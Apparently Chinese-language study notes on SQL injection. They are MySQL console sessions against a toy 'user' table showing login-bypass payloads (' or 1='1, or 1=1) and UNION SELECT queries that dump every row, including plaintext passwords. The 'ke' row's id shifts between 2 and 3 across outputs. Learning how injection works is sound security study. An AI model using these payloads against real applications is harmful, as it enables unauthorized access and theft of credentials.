php.ini配置
magic_quotes_gpc = On
万能密码：
mysql> select * from user where username='wang' and password='123';
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
+--------+----------+----------+
1 row in set (0.00 sec)
mysql> select * from user where username='wang' and password='12';
Empty set (0.00 sec)
mysql> select * from user where username='wang' and password='aa' or 1='1';
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
| 2 | yong | 123 |
| 2 | ke | 321 |
+--------+----------+----------+
3 rows in set (0.01 sec)
mysql> select * from user where username='wa' and password='aa' or 1='1';
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
| 2 | yong | 123 |
| 2 | ke | 321 |
+--------+----------+----------+
3 rows in set (0.00 sec)
万能用户名：
mysql> select * from user where username='sjdlf' or 1=1 ;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
| 2 | yong | 123 |
| 2 | ke | 321 |
+--------+----------+----------+
3 rows in set (0.00 sec)
mysql> select * from user where username='sjdlf' or 1=1 and password='123';
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
| 2 | yong | 123 |
+--------+----------+----------+
2 rows in set (0.00 sec)
mysql> select * from user where username='wang' union select * from user where userid=2;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
| 2 | yong | 123 |
+--------+----------+----------+
2 rows in set (0.00 sec)
mysql> select * from user where username='wang' union all select * from user where userid=2;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
| 2 | yong | 123 |
+--------+----------+----------+
2 rows in set (0.00 sec)
mysql> select * from user where username='wang' and password='123' union all select * from user where userid=2;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
| 2 | yong | 123 |
+--------+----------+----------+
2 rows in set (0.00 sec)
mysql> select * from user where username='wang' and password='123' union all select * from user;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
| 1 | wang | 123 |
| 2 | yong | 123 |
| 3 | ke | 321 |
+--------+----------+----------+
4 rows in set (0.00 sec)
mysql> select * from user where username='wang' and password='123' union select * from user;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
| 2 | yong | 123 |
| 3 | ke | 321 |
+--------+----------+----------+
3 rows in set (0.00 sec)
mysql> select * from user where username='wang' and password='321' union select * from user;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
| 2 | yong | 123 |
| 3 | ke | 321 |
+--------+----------+----------+
3 rows in set (0.00 sec)
mysql> select * from user where username='wd' and password='321' union select * from user;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
| 2 | yong | 123 |
| 3 | ke | 321 |
+--------+----------+----------+
3 rows in set (0.00 sec)
mysql>
